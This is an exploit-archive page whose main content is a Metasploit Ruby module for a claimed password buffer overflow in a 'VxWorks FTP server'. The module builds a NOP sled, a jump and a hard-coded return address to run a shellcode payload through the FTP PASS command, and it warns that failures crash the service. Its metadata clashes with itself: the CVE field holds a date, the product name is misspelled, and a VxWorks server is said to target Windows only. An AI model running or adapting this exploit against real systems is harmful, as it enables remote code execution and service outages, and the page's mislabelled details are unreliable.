WVxWorks FTP server Password Overflow



EKU-ID: 949 CVE: OSVDB-ID: 16850
Author: Angel Injection Published: 2011-09-09 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# $Id: VxWorks_FTP_server.rb 16850 2011-09-07 10:20:45Z Iraq $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
 
    include Msf::Exploit::Remote::Ftp
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'WVxWorks FTP server Password Overflow',
            'Description'    => %q{
                    This exploits the buffer overflow found in the PASS command
                in VxWorks FTP server This particular module will only work
                reliably against Windows targets. The server must be
                configured to allow anonymous logins for this exploit to
                succeed. A failed attempt will bring down the service
                completely.
            },
            'Author'         => 'Angel Injection',
            'License'        => BSD_LICENSE,
            'Version'        => '$Revision: 16850 $',
            'References'     =>
                [
                    [ 'CVE', '7/9/2011'],
                    [ 'OSVDB', '16850'    ],
                    [ 'BID', '16851'    ],
                    [ 'URL', 'http://www.1337day.com/exploits/16851' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process'
                },
            'Payload'        =>
                {
                    'Space'    => 530,
                    'BadChars' => "\x00\x0a\x0d\x40",
                    'StackAdjustment' => -3200,
                    'Compat'   =>
                        {
                            'ConnectionType' => "-find"
                        }
                },
            'Targets'        =>
                [
                    # Target 0
                    [
                        'Windows',
                        {
                            'Platform' => 'win',
                            'Ret'      => 0x5f4e772b
                        },
                    ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => '7/9/2011'))
    end
 
    def exploit
        connect
 
        print_status("Trying target #{target.name}...")
 
        buf          = make_nops(655) + payload.encoded
        buf[645, 2]  = "\xeb\x06"
        buf[562, 4]  = [ target.ret ].pack('V')
 
        # Send USER Command
        send_user(datastore['FTPUSER'])
 
        # Send PASS Command
        send_cmd(['PASS', buf], false)
 
        handler
        disconnect
    end
 
end